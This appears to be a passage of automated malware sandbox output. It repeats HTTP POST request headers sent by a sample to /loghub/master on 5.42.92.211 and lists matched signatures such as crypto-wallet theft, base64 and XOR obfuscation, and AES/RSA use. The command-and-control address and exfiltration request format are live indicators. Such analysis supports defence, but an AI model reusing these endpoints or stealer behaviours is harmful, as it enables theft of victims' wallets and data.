xor ecx ebp in Stream UID: 00000000-00001584-16687-57-0012629831:T6958,Contains base64 string in header "POST" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 1102User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 1102User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 1102User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 1102User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1102User" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 1102User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 1102User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 1102User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 1102User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 1102User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 284User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 284User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 284User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 284User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 284User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 284User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 284User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 284User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 276User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 276User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 276User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 276User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 276User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 276User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 276User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 276User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 272User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 272User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 272User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 272User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 272User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 272User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 272User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 272User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 16238User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 16238User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 16238User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 16238User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 16238User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 16238User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 16238User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 16238User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 280User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 280User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 280User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 280User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 280User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 280User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 280User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 280User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 393606User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 393606User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 393606User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 393606User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 393606User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 393606User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 393606User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 393606User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 306226User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 306226User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 306226User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 306226User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 306226User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 306226User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 306226User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 306226User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 21854User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 21854User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 21854User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 21854User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 21854User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 21854User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 21854User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 21854User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 268User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 268User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 268User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 268User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 268User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 268User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 268User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 268User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache"32:T670,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Tries to steal crypto wallet extension (file access) Matched sigs: Calls an API typically used to decrypt the data Matched sigs: Tries to steal Crypto currency wallets information (file access) Matched sigs: Calls an API typically to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically to import cryptographic keys into a CSP Matched sigs: Reads the cryptographic machine GUID Matched sigs: HTTP requests contain Base64 strings Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to decrypt/decode data Matched sigs: Contains ability to decode base64 data Matched sigs: PCAP contains base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Contains ability to perform crypto operations Matched sigs: Contains ability to decode string content at runtime (Dotnet) Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: YARA signature match - AES Encryption33:T1e2e,"NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "RtlGetVersion" with parameter 